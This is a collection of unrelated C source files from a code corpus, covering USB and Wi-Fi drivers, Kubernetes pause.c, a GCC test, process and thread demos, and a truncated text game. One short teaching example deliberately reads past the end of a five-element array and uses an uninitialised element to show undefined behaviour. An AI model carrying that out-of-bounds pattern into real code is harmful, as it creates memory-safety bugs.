/* Set the OTG_USB base registers address */
OTGD_FS_SetAddress(USB_OTG_FS_BASE_ADDR);
/* Disable all global interrupts */
OTGD_FS_DisableGlobalInt();
/*Init the Core */
OTGD_FS_CoreInit();
/* Init Device mode*/
OTGD_FS_CoreInitDev();
}
/*******************************************************************************
* Function Name : PCD_EP_Open
* Description : Configure an Endpoint
* Input : None
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Open(EP_DESCRIPTOR *epdesc)
{
USB_OTG_EP *ep;
if ((0x80 & epdesc->bEndpointAddress) != 0)
{
ep = PCD_GetInEP(epdesc->bEndpointAddress & 0x7F);
ep->is_in = 1;
}
else
{
ep = PCD_GetOutEP(epdesc->bEndpointAddress & 0x7F);
ep->is_in = 0;
}
ep->num = epdesc->bEndpointAddress & 0x7F;
ep->maxpacket = epdesc->wMaxPacketSize;
ep->type = epdesc->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK;
if (ep->is_in)
{
/* Assign a Tx FIFO */
ep->tx_fifo_num = ep->num;
}
OTGD_FS_EPActivate(ep );
return 0;
}
/*******************************************************************************
* Function Name : PCD_EP_Close
* Description : Called when an EP is disabled
* Input : Endpoint address.
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Close(uint8_t ep_addr)
{
USB_OTG_EP *ep;
if ((0x80 & ep_addr) != 0)
{
ep = PCD_GetInEP(ep_addr & 0x7F);
}
else
{
ep = PCD_GetOutEP(ep_addr & 0x7F);
}
ep->num = ep_addr & 0x7F;
ep->is_in = (0x80 & ep_addr) != 0;
OTGD_FS_EPDeactivate(ep );
return 0;
}
/*******************************************************************************
* Function Name : PCD_EP_Read
* Description : Read data from Fifo
* Input : Endpoint address.
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Read (uint8_t ep_addr, uint8_t *pbuf, uint32_t buf_len)
{
USB_OTG_EP *ep;
uint32_t i = 0;
ep = PCD_GetOutEP(ep_addr & 0x7F);
/* copy received data into application buffer */
for (i = 0 ; i < buf_len ; i++)
{
pbuf[i] = ep->xfer_buff[i];
}
/*setup and start the Xfer */
ep->xfer_buff = pbuf;
ep->xfer_len = buf_len;
ep->xfer_count = 0;
ep->is_in = 0;
ep->num = ep_addr & 0x7F;
if ( ep->num == 0 )
{
OTGD_FS_EP0StartXfer(ep);
}
else
{
OTGD_FS_EPStartXfer( ep );
}
return 0;
}
/*******************************************************************************
* Function Name : USBF_EP_Write
* Description : Read data from Fifo
* Input : ep
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Write (uint8_t ep_addr, uint8_t *pbuf, uint32_t buf_len)
{
USB_OTG_EP *ep;
ep = PCD_GetInEP(ep_addr & 0x7f);
/* assign data to EP structure buffer */
ep->xfer_buff = pbuf;
/* Setup and start the Transfer */
ep->xfer_count = 0;
ep->xfer_len = buf_len;
ep->is_in = 1;
ep->num = ep_addr & 0x7F;
if ( ep->num == 0 )
{
OTGD_FS_EP0StartXfer(ep);
}
else
{
OTGD_FS_EPStartXfer( ep );
}
return 0;
}
/*******************************************************************************
* Function Name : PCD_EP_Stall
* Description : Stall an endpoint.
* Input : Endpoint Address.
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Stall (uint8_t ep_addr)
{
USB_OTG_EP *ep;
if ((0x80 & ep_addr) != 0)
{
ep = PCD_GetInEP(ep_addr & 0x7F);
}
else
{
ep = PCD_GetOutEP(ep_addr & 0x7F);
}
ep->num = ep_addr & 0x7F;
ep->is_in = ((ep_addr & 0x80) == 0x80) ? 1 : 0;
OTGD_FS_EPSetStall(ep);
return (0);
}
/*******************************************************************************
* Function Name : PCD_EP_ClrStall
* Description : Clear stall condition on endpoints.
* Input : Endpoint Address.
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_ClrStall (uint8_t ep_addr)
{
USB_OTG_EP *ep;
if ((0x80 & ep_addr) != 0)
{
ep = PCD_GetInEP(ep_addr & 0x7F);
}
else
{
ep = PCD_GetOutEP(ep_addr & 0x7F);
}
ep->num = ep_addr & 0x7F;
ep->is_in = ((ep_addr & 0x80) == 0x80) ? 1 : 0;
OTGD_FS_EPClearStall(ep);
return (0);
}
/*******************************************************************************
* Function Name : USBF_FCD_EP_Flush()
* Description : This Function flushes the buffer.
* Input : Endpoint Address.
* Output : None
* Return : status
*******************************************************************************/
uint32_t PCD_EP_Flush (uint8_t ep_addr)
{
uint8_t is_out = 0;
uint8_t ep_nbr = 0;
ep_nbr = ep_addr & 0x7F;
is_out = ((ep_addr & 0x80) == 0x80) ? 0 : 1;
if (is_out == 0)
{
OTGD_FS_FlushTxFifo(ep_nbr);
}
else
{
OTGD_FS_FlushRxFifo();
}
PCD_EP_ClrStall(ep_addr);
return (0);
}
/*******************************************************************************
* Function Name : PCD_EP_SetAddress
* Description : This Function set USB device address
* Input : The new device Address to be set.
* Output : None
* Return : status
*******************************************************************************/
void PCD_EP_SetAddress (uint8_t address)
{
USB_OTG_DCFG_TypeDef dcfg;
dcfg.d32 = 0;
dcfg.b.devaddr = address;
USB_OTG_MODIFY_REG32( &USB_OTG_FS_regs.DEV->DCFG, 0, dcfg.d32);
}
/*******************************************************************************
* Function Name : PCD_GetInEP
* Description : This function returns pointer to IN EP struct with number ep_num
* Input : Endpoint Number.
* Output : None
* Return : status
*******************************************************************************/
USB_OTG_EP* PCD_GetInEP(uint32_t ep_num)
{
if (ep_num == 0)
{
return &USB_OTG_PCD_dev.ep0;
}
else
{
return &USB_OTG_PCD_dev.in_ep[ep_num - 1];
}
}
/*******************************************************************************
* Function Name : PCD_GetOutEP
* Description : returns pointer to OUT EP struct with number ep_num
* Input : Endpoint Number.
* Output : None
* Return : USBF_EP
*******************************************************************************/
USB_OTG_EP* PCD_GetOutEP(uint32_t ep_num)
{
if (ep_num == 0)
{
return &USB_OTG_PCD_dev.ep0;
}
else
{
return &USB_OTG_PCD_dev.out_ep[ep_num - 1];
}
}
/*******************************************************************************
* Function Name : PCD_DevConnect
* Description : Connect device
* Input : None
* Output : None
* Return : status
*******************************************************************************/
void PCD_DevConnect(void)
{
USB_OTG_DCTL_TypeDef dctl;
dctl.d32 = 0;
dctl.d32 = USB_OTG_READ_REG32(&USB_OTG_FS_regs.DEV->DCTL);
/* Connect device */
dctl.b.sftdiscon = 0;
USB_OTG_WRITE_REG32(&USB_OTG_FS_regs.DEV->DCTL, dctl.d32);
mDELAY(25);
}
/*******************************************************************************
* Function Name : PCD_DevDisconnect
* Description : Disconnect device
* Input : None
* Output : None
* Return : status
*******************************************************************************/
void PCD_DevDisconnect (void)
{
USB_OTG_DCTL_TypeDef dctl;
dctl.d32 = 0;
dctl.d32 = USB_OTG_READ_REG32(&USB_OTG_FS_regs.DEV->DCTL);
/* Disconnect device for 20ms */
dctl.b.sftdiscon = 1;
USB_OTG_WRITE_REG32(&USB_OTG_FS_regs.DEV->DCTL, dctl.d32);
mDELAY(25);
}
/*******************************************************************************
* Function Name : PCD_EP0_OutStart
* Description : Configures EPO to receive SETUP packets.
* Input : None
* Output : None
* Return : None
*******************************************************************************/
void PCD_EP0_OutStart(void)
{
USB_OTG_DOEPTSIZ0_TypeDef doeptsize0;
doeptsize0.d32 = 0;
doeptsize0.b.supcnt = 3;
doeptsize0.b.pktcnt = 1;
doeptsize0.b.xfersize = 8 * 3;
USB_OTG_WRITE_REG32( &USB_OTG_FS_regs.DOUTEPS[0]->DOEPTSIZx, doeptsize0.d32 );
}
#endif /* STM32F10X_CL */
/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/
|
the_stack_data/87638003.c
|
// what goes wrong when you do separate writes
#include <err.h>
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
void
perform_computation(int i)
{
// do something horrible where interleaving may happen
char *res;
asprintf(&res, "Square of %d is %d\n", i, i * i);
// print string manually, one char at a time
while (*res) {
write(1, res, 1);
res++;
}
}
// we have to tweak decode_status to keep going
bool
bad_status(int status)
{
if (WIFEXITED(status)) {
int rc = WEXITSTATUS(status);
if (rc == 0)
return false;
else
fprintf(stderr, "Child exited with exit(%d)\n", rc);
} else if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
fprintf(stderr, "Child exited with signal %d (%s)\n",
sig, strsignal(sig));
} else
fprintf(stderr, "This should never happen: %d\n", status);
return true;
}
int
main()
{
for (int i = 15; i < 35; i += 2) {
int pid = fork();
switch(pid) {
case -1:
err(1, "fork");
case 0:
perform_computation(i);
exit(0);
}
}
// parent
int rc = 0; // by default we succeed
int status, r;
while ((r = wait(&status)) != -1)
if (bad_status(status))
rc = 1;
// this normally exits with ECHILD, when we reaped every child
if (errno != ECHILD)
err(1, "wait");
exit(rc);
}
|
the_stack_data/633554.c
|
/*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define STRINGIFY(x) #x
#define VERSION_STRING(x) STRINGIFY(x)
#ifndef VERSION
#define VERSION HEAD
#endif
static void sigdown(int signo) {
psignal(signo, "Shutting down, got signal");
exit(0);
}
static void sigreap(int signo) {
while (waitpid(-1, NULL, WNOHANG) > 0)
;
}
int main(int argc, char **argv) {
int i;
for (i = 1; i < argc; ++i) {
if (!strcasecmp(argv[i], "-v")) {
printf("pause.c %s\n", VERSION_STRING(VERSION));
return 0;
}
}
if (getpid() != 1)
/* Not an error because pause sees use outside of infra containers. */
fprintf(stderr, "Warning: pause should be the first process\n");
if (sigaction(SIGINT, &(struct sigaction){.sa_handler = sigdown}, NULL) < 0)
return 1;
if (sigaction(SIGTERM, &(struct sigaction){.sa_handler = sigdown}, NULL) < 0)
return 2;
if (sigaction(SIGCHLD, &(struct sigaction){.sa_handler = sigreap,
.sa_flags = SA_NOCLDSTOP},
NULL) < 0)
return 3;
for (;;)
pause();
fprintf(stderr, "Error: infinite loop terminated\n");
return 42;
}
|
the_stack_data/159515745.c
|
#include <stdio.h>
int main(void)
{
int i, score[5];
score[0]=65;
score[1]=55;
// score[2]=43; /* try not to give value here */
score[3]=77;
score[4]=100;
for(i=0;i<=5;i++) /* try add more out of range of i array */
printf("score[%d]=%d\n",i,score[i]);
return 0;
}
|
the_stack_data/493240.c
|
/*
***************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
*
* (c) Copyright 2002-2004, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and the
* use of a copyright notice does not imply otherwise. This source code
* contains confidential trade secret material of Ralink Tech. Any attemp
* or participation in deciphering, decoding, reverse engineering or in any
* way altering the source code is stricitly prohibited, unless the prior
* written consent of Ralink Technology, Inc. is obtained.
***************************************************************************
Module Name:
rt65xx.c
Abstract:
Specific funcitons and configurations for RT65xx
Revision History:
Who When What
-------- ---------- ----------------------------------------------
*/
#ifdef RT65xx
#include "rt_config.h"
VOID RT65xxDisableTxRx(
RTMP_ADAPTER *pAd,
UCHAR Level)
{
UINT32 MacReg = 0;
UINT32 MTxCycle;
BOOLEAN bResetWLAN = FALSE;
BOOLEAN bFree = TRUE;
UINT8 CheckFreeTimes = 0;
if (!IS_RT65XX(pAd))
return;
DBGPRINT(RT_DEBUG_TRACE, ("----> %s\n", __FUNCTION__));
if (Level == RTMP_HALT)
{
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_INTERRUPT_ACTIVE);
}
DBGPRINT(RT_DEBUG_TRACE, ("%s Tx success = %ld\n",
__FUNCTION__, (ULONG)pAd->WlanCounters.TransmittedFragmentCount.u.LowPart));
DBGPRINT(RT_DEBUG_TRACE, ("%s Tx success = %ld\n",
__FUNCTION__, (ULONG)pAd->WlanCounters.ReceivedFragmentCount.QuadPart));
StopDmaTx(pAd, Level);
/*
Check page count in TxQ,
*/
for (MTxCycle = 0; MTxCycle < 2000; MTxCycle++)
{
BOOLEAN bFree = TRUE;
RTMP_IO_READ32(pAd, 0x438, &MacReg);
if (MacReg != 0)
bFree = FALSE;
RTMP_IO_READ32(pAd, 0xa30, &MacReg);
if (MacReg & 0x000000FF)
bFree = FALSE;
RTMP_IO_READ32(pAd, 0xa34, &MacReg);
if (MacReg & 0xFF00FF00)
bFree = FALSE;
if (bFree)
break;
if (MacReg == 0xFFFFFFFF)
{
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST);
return;
}
}
if (MTxCycle >= 2000)
{
DBGPRINT(RT_DEBUG_ERROR, ("Check TxQ page count max\n"));
RTMP_IO_READ32(pAd, 0x0a30, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x0a30 = 0x%08x\n", MacReg));
RTMP_IO_READ32(pAd, 0x0a34, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x0a34 = 0x%08x\n", MacReg));
RTMP_IO_READ32(pAd, 0x438, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x438 = 0x%08x\n", MacReg));
bResetWLAN = TRUE;
}
/*
Check MAC Tx idle
*/
for (MTxCycle = 0; MTxCycle < 2000; MTxCycle++)
{
RTMP_IO_READ32(pAd, MAC_STATUS_CFG, &MacReg);
if (MacReg & 0x1)
RtmpusecDelay(50);
else
break;
if (MacReg == 0xFFFFFFFF)
{
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST);
return;
}
}
if (MTxCycle >= 2000)
{
DBGPRINT(RT_DEBUG_ERROR, ("Check MAC Tx idle max(0x%08x)\n", MacReg));
bResetWLAN = TRUE;
}
if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST) == FALSE)
{
if (Level == RTMP_HALT)
{
/*
Disable MAC TX/RX
*/
RTMP_IO_READ32(pAd, MAC_SYS_CTRL, &MacReg);
MacReg &= ~(0x0000000c);
RTMP_IO_WRITE32(pAd, MAC_SYS_CTRL, MacReg);
}
else
{
/*
Disable MAC RX
*/
RTMP_IO_READ32(pAd, MAC_SYS_CTRL, &MacReg);
MacReg &= ~(0x00000008);
RTMP_IO_WRITE32(pAd, MAC_SYS_CTRL, MacReg);
}
}
/*
Check page count in RxQ,
*/
for (MTxCycle = 0; MTxCycle < 2000; MTxCycle++)
{
bFree = TRUE;
RTMP_IO_READ32(pAd, 0x430, &MacReg);
if (MacReg & (0x00FF0000))
bFree = FALSE;
RTMP_IO_READ32(pAd, 0xa30, &MacReg);
if (MacReg != 0)
bFree = FALSE;
RTMP_IO_READ32(pAd, 0xa34, &MacReg);
if (MacReg != 0)
bFree = FALSE;
if (bFree && (CheckFreeTimes > 20) && (!is_inband_cmd_processing(pAd)))
break;
if (bFree)
CheckFreeTimes++;
if (MacReg == 0xFFFFFFFF)
{
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST);
return;
}
}
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_POLL_IDLE);
if (MTxCycle >= 2000)
{
DBGPRINT(RT_DEBUG_ERROR, ("Check RxQ page count max\n"));
RTMP_IO_READ32(pAd, 0x0a30, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x0a30 = 0x%08x\n", MacReg));
RTMP_IO_READ32(pAd, 0x0a34, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x0a34 = 0x%08x\n", MacReg));
RTMP_IO_READ32(pAd, 0x0430, &MacReg);
DBGPRINT(RT_DEBUG_TRACE, ("0x0430 = 0x%08x\n", MacReg));
bResetWLAN = TRUE;
}
/*
Check MAC Rx idle
*/
for (MTxCycle = 0; MTxCycle < 2000; MTxCycle++)
{
RTMP_IO_READ32(pAd, MAC_STATUS_CFG, &MacReg);
if (MacReg & 0x2)
RtmpusecDelay(50);
else
break;
if (MacReg == 0xFFFFFFFF)
{
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST);
return;
}
}
if (MTxCycle >= 2000)
{
DBGPRINT(RT_DEBUG_ERROR, ("Check MAC Rx idle max(0x%08x)\n", MacReg));
bResetWLAN = TRUE;
}
StopDmaRx(pAd, Level);
if ((Level == RTMP_HALT) &&
(RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST) == FALSE))
{
if (!pAd->chipCap.ram_code_protect)
NICEraseFirmware(pAd);
/*
* Disable RF/MAC and do not do reset WLAN under below cases
* 1. Combo card
* 2. suspend including wow application
* 3. radion off command
*/
if ((pAd->chipCap.IsComboChip) || RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_SUSPEND)
|| RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_CMD_RADIO_OFF))
bResetWLAN = 0;
rlt_wlan_chip_onoff(pAd, FALSE, bResetWLAN);
}
DBGPRINT(RT_DEBUG_TRACE, ("<---- %s\n", __FUNCTION__));
}
#ifdef RTMP_PCI_SUPPORT
void MT76xx_PciMlmeRadioOn(RTMP_ADAPTER *pAd)
{
#ifdef CONFIG_AP_SUPPORT
INT32 IdBss, MaxNumBss = pAd->ApCfg.BssidNum;
#endif /* CONFIG_AP_SUPPORT */
UINT32 mac_val = 0;
MCU_CTRL_INIT(pAd);
/* Clear Radio off flag*/
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF);
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD);
RTMPRingCleanUp(pAd, QID_AC_BK);
RTMPRingCleanUp(pAd, QID_AC_BE);
RTMPRingCleanUp(pAd, QID_AC_VI);
RTMPRingCleanUp(pAd, QID_AC_VO);
RTMPRingCleanUp(pAd, QID_HCCA);
RTMPRingCleanUp(pAd, QID_MGMT);
RTMPRingCleanUp(pAd, QID_RX);
#ifdef CONFIG_ANDES_SUPPORT
RTMPRingCleanUp(pAd, QID_CTRL);
#endif /* CONFIG_ANDES_SUPPORT */
RTMP_ASIC_INTERRUPT_ENABLE(pAd);
PWR_SAVING_OP(pAd, RADIO_ON, 0, 0, 0, 0, 0);
andes_load_cr(pAd, RF_BBP_CR, 0, 0);
RtmpusecDelay(50);
#ifdef DOT11_VHT_AC
if (pAd->CommonCfg.BBPCurrentBW == BW_80)
pAd->hw_cfg.cent_ch = pAd->CommonCfg.vht_cent_ch;
else
#endif /* DOT11_VHT_AC */
pAd->hw_cfg.cent_ch = pAd->CommonCfg.CentralChannel;
AsicSwitchChannel(pAd, pAd->hw_cfg.cent_ch, FALSE);
AsicLockChannel(pAd, pAd->hw_cfg.cent_ch);
#ifdef MT76x2
if (IS_MT76x2(pAd)) {
/*
* add 504, 50c value per ben kao suggestion for rx receivce packet.
*/
RTMP_IO_WRITE32(pAd, 0x50c, 0x0);
RTMP_IO_WRITE32(pAd, 0x504, 0x06000000);
RtmpOsMsDelay(5);
RTMP_IO_WRITE32(pAd, 0x504, 0x0);
}
#endif
/* Enable Tx/Rx*/
RTMPEnableRxTx(pAd);
if (pAd->chipCap.ed_cca_enable == TRUE) {
RTMP_IO_READ32(pAd, TXOP_CTRL_CFG, &mac_val);
mac_val |= (1 << 20);
RTMP_IO_WRITE32(pAd, TXOP_CTRL_CFG, mac_val);
}
RTMP_IO_READ32(pAd, TXOP_HLDR_ET, &mac_val);
mac_val |= 2;
RTMP_IO_WRITE32(pAd, TXOP_HLDR_ET, mac_val);
/* Restore RTS retry count */
RTMP_IO_WRITE32(pAd, 0x1344, pAd->rts_tx_retry_num);
/* Clear Radio off flag*/
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF);
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_IDLE_RADIO_OFF);
#ifdef LED_CONTROL_SUPPORT
#ifdef CONFIG_AP_SUPPORT
/* The LEN_RADIO_ON indicates "Radio on but link down",
so AP shall set LED LINK_UP status */
IF_DEV_CONFIG_OPMODE_ON_AP(pAd)
{
RTMPSetLED(pAd, LED_LINK_UP);
}
#endif /* CONFIG_AP_SUPPORT */
#ifdef CONFIG_STA_SUPPORT
IF_DEV_CONFIG_OPMODE_ON_STA(pAd)
{
/* Set LED*/
RTMPSetLED(pAd, LED_RADIO_ON);
}
#endif /* CONFIG_STA_SUPPORT */
#endif /* LED_CONTROL_SUPPORT */
RTMP_OS_NETDEV_START_QUEUE(pAd->net_dev);
#ifdef CONFIG_AP_SUPPORT
IF_DEV_CONFIG_OPMODE_ON_AP(pAd)
{
if (MaxNumBss > MAX_MBSSID_NUM(pAd))
MaxNumBss = MAX_MBSSID_NUM(pAd);
/* first IdBss must not be 0 (BSS0), must be 1 (BSS1) */
for (IdBss = FIRST_MBSSID; IdBss < MAX_MBSSID_NUM(pAd); IdBss++)
{
if (pAd->ApCfg.MBSSID[IdBss].MSSIDDev)
RTMP_OS_NETDEV_START_QUEUE(pAd->ApCfg.MBSSID[IdBss].MSSIDDev);
}
#ifdef A_BAND_SUPPORT
if ( (pAd->CommonCfg.Channel > 14)
&& (pAd->CommonCfg.bIEEE80211H == 1)
&& RadarChannelCheck(pAd, pAd->CommonCfg.Channel))
{
#ifdef DFS_SUPPORT
NewRadarDetectionStart(pAd);
#endif /* DFS_SUPPORT */
}
#endif /* A_BAND_SUPPORT */
}
#endif /* CONFIG_AP_SUPPORT */
RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_DISABLE_DEQUEUEPACKET);
}
void MT76xx_PciMlmeRadioOFF(RTMP_ADAPTER *pAd)
{
UINT32 pwr_level = 5, mac_val = 0, bbp_val = 0, loop = 0;
#ifdef CONFIG_AP_SUPPORT
INT32 IdBss, MaxNumBss = pAd->ApCfg.BssidNum;
#endif /* CONFIG_AP_SUPPORT */
RTMP_OS_NETDEV_STOP_QUEUE(pAd->net_dev);
/* disable prim/second EDCCA before disable mac TX/RX */
RTMP_IO_READ32(pAd, TXOP_CTRL_CFG, &mac_val);
if ((mac_val & 0x100000) == 0x100000) {
DBGPRINT(RT_DEBUG_OFF,("%s:: ED CCA has been enabled\n", __FUNCTION__));
pAd->chipCap.ed_cca_enable = TRUE;
mac_val &= ~(1 << 20);
RTMP_IO_WRITE32(pAd, TXOP_CTRL_CFG, mac_val);
RTMP_IO_READ32(pAd, TXOP_HLDR_ET, &mac_val);
mac_val &= ~2;
RTMP_IO_WRITE32(pAd, TXOP_HLDR_ET, mac_val);
}
RTMP_IO_READ32(pAd, 0x1004, &mac_val);
mac_val &= ~0xC;
RTMP_IO_WRITE32(pAd, 0x1004, mac_val);
/* Backup the original RTS retry count and then set to 0 */
RTMP_IO_READ32(pAd, 0x1344, &pAd->rts_tx_retry_num);
RTMP_IO_WRITE32(pAd, 0x1344, 0x00092B00);
do {
RTMP_IO_READ32(pAd, 0x1200, &mac_val);
mac_val &= 0x1;
RTMP_BBP_IO_READ32(pAd, 0x2130, &bbp_val);
DBGPRINT(RT_DEBUG_OFF,("%s:: Wait until MAC 0x1200 bit0 and BBP 0x2130 become 0\n", __FUNCTION__));
RtmpusecDelay(1);
loop++;
} while (((mac_val != 0) || (bbp_val != 0)) && (loop < 300));
if (loop >= 300)
DBGPRINT(RT_DEBUG_OFF, ("%s:: Wait until MAC 0x1200 bit0 and BBP 0x2130 become 0 > 300 times\n", __FUNCTION__));
#ifdef CONFIG_AP_SUPPORT
IF_DEV_CONFIG_OPMODE_ON_AP(pAd)
{
if (MaxNumBss > MAX_MBSSID_NUM(pAd))
MaxNumBss = MAX_MBSSID_NUM(pAd);
/* first IdBss must not be 0 (BSS0), must be 1 (BSS1) */
for (IdBss = FIRST_MBSSID; IdBss < MAX_MBSSID_NUM(pAd); IdBss++)
{
if (pAd->ApCfg.MBSSID[IdBss].MSSIDDev)
RTMP_OS_NETDEV_STOP_QUEUE(pAd->ApCfg.MBSSID[IdBss].MSSIDDev);
}
}
#endif /* CONFIG_AP_SUPPORT */
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_DISABLE_DEQUEUEPACKET);
DBGPRINT(RT_DEBUG_TRACE, ("\npwr_level = %d\n", pwr_level));
#ifdef AP_SCAN_SUPPORT
IF_DEV_CONFIG_OPMODE_ON_AP(pAd)
{
BOOLEAN Cancelled;
RTMPCancelTimer(&pAd->MlmeAux.APScanTimer, &Cancelled);
}
#endif /* AP_SCAN_SUPPORT */
#ifdef LED_CONTROL_SUPPORT
RTMPSetLED(pAd, LED_RADIO_OFF);
#endif /* LED_CONTROL_SUPPORT */
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD);
PWR_SAVING_OP(pAd, RADIO_OFF, pwr_level, 0, 0, 0, 0);
RT65xxDisableTxRx(pAd, GUIRADIO_OFF);
MCU_CTRL_EXIT(pAd);
/*
Wait for Andes firmware receiving this in-band command packet
*/
RtmpusecDelay(50);
/* Set Radio off flag*/
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF);
if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_INTERRUPT_ACTIVE))
{
RTMP_ASIC_INTERRUPT_DISABLE(pAd);
}
}
#endif
VOID dump_bw_info(RTMP_ADAPTER *pAd)
{
#ifdef DBG
UINT32 core_r1, agc_r0, be_r0, band_cfg;
static UCHAR *bw_str[]={"20", "10", "40", "80"};
UCHAR bw, prim_ch_idx, decode_cap;
static UCHAR *decode_str[] = {"0", "20", "40", "20/40",
"80", "20/80", "40/80", "20/40/80"};
UCHAR tx_prim;
RTMP_BBP_IO_READ32(pAd, CORE_R1, &core_r1);
RTMP_BBP_IO_READ32(pAd, AGC1_R0, &agc_r0);
RTMP_BBP_IO_READ32(pAd, TXBE_R0, &be_r0);
RTMP_IO_READ32(pAd, TX_BAND_CFG, &band_cfg);
/* Tx/RX : control channel setting */
DBGPRINT(RT_DEBUG_OFF, ("\n%s():RegisterSetting: TX_BAND_CFG=0x%x, CORE_R1=0x%x, AGC1_R0=0x%x, TXBE_R0=0x%x\n",
__FUNCTION__, band_cfg, core_r1, agc_r0, be_r0));
bw = ((core_r1 & 0x18) >> 3) & 0xff;
DBGPRINT(RT_DEBUG_OFF, ("[CORE_R1]\n"));
DBGPRINT(RT_DEBUG_OFF, ("\tTx/Rx BandwidthCtrl(CORE_R1[4:3])=%d(%s MHz)\n",
bw, bw_str[bw]));
DBGPRINT(RT_DEBUG_OFF, ("[AGC_R0]\n"));
prim_ch_idx = ((agc_r0 & 0x300) >> 8) & 0xff;
DBGPRINT(RT_DEBUG_OFF, ("\tPrimary Channel Idx(AGC_R0[9:8])=%d\n", prim_ch_idx));
decode_cap = ((agc_r0 & 0x7000) >> 12);
DBGPRINT(RT_DEBUG_OFF, ("\tDecodeBWCap(AGC_R0[14:12])=%d(%s MHz Data)\n",
decode_cap, decode_str[decode_cap]));
DBGPRINT(RT_DEBUG_OFF, ("[TXBE_R0 - PPM]\n"));
tx_prim = (be_r0 & 0x3);
DBGPRINT(RT_DEBUG_OFF, ("\tTxPrimary(TXBE_R0[1:0])=%d\n", tx_prim));
#endif
}
#endif /* RT65xx */
|
the_stack_data/12320.c
|
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-tree-evrp" } */
void foo (void *p) __attribute__((nonnull(1)));
void bar (void *p)
{
foo (p);
if (!p)
__builtin_abort ();
}
/* { dg-final { scan-tree-dump-not "abort" "evrp" } } */
|
the_stack_data/35466.c
|
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <pthread.h>
struct thread_info {
int maxitr;
double exec_time;
};
typedef struct thread_info thread_info_t;
void *func(void *arg)
{
struct timespec time_1, time_2;
double exec_time;
thread_info_t *info;
int i, maxitr;
volatile double a, b, c;
info = (thread_info_t *)arg;
maxitr = info->maxitr;
b = 2.3; c = 4.5;
exec_time = 0.0;
clock_gettime(CLOCK_REALTIME, &time_1);
for (i = 0; i < maxitr ; i++) {
a = b*b + b*c + c*c;
}
clock_gettime(CLOCK_REALTIME, &time_2);
exec_time = (time_2.tv_sec - time_1.tv_sec);
exec_time = exec_time + (time_2.tv_nsec - time_1.tv_nsec)/1.0e9;
info->exec_time = exec_time;
pthread_exit(NULL);
}
int main(void)
{
pthread_t thread1;
thread_info_t info1;
double maxitr;
maxitr = 5.0e8;
info1.maxitr = (int)maxitr;
if (pthread_create(&thread1, NULL, &func, &info1) != 0) {
printf("Error in creating thread 1\n");
exit(1);
}
pthread_join(thread1, NULL);
printf("Exec time for thread1 = %lf sec\n", info1.exec_time);
pthread_exit(NULL);
}
|
the_stack_data/68887920.c
|
/* Ruler by Stephen Parkes edited by Joseph Larson ver 1-May-2008
* Ruler - a game originally for the unexpanded 1k ZX81
* written by A. Greenhalgh of Darwen, Lancashire and
* published as a type-in in Sinclair User March 1983 */
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int act_of_god(void)
{
printf("Our crops failed Sire, perhaps the Gods are angry with us\n");
return 0;
}
int main()
{
srand (time(NULL));
int people = 100;
int food = 200;
int sow = 0;
int tables = 0;
int z;
puts ("RULER\n-----\n\n");
input:
printf ("%d lbs of food and %d people\nInput food for sowing ", food, people);
scanf("%d", &sow);
printf("and the amount for our peoples table sire? ");
scanf("%d", &tables);
if (sow + tables > food)
{
printf("you can't put %d lbs on the tables and sow %d lbs this "
"year, sire\n", tables, sow);
goto input;
}
z = food - (sow + tables);
people = (tables / people)*(people / 2) + tables;
if (people<10)
{
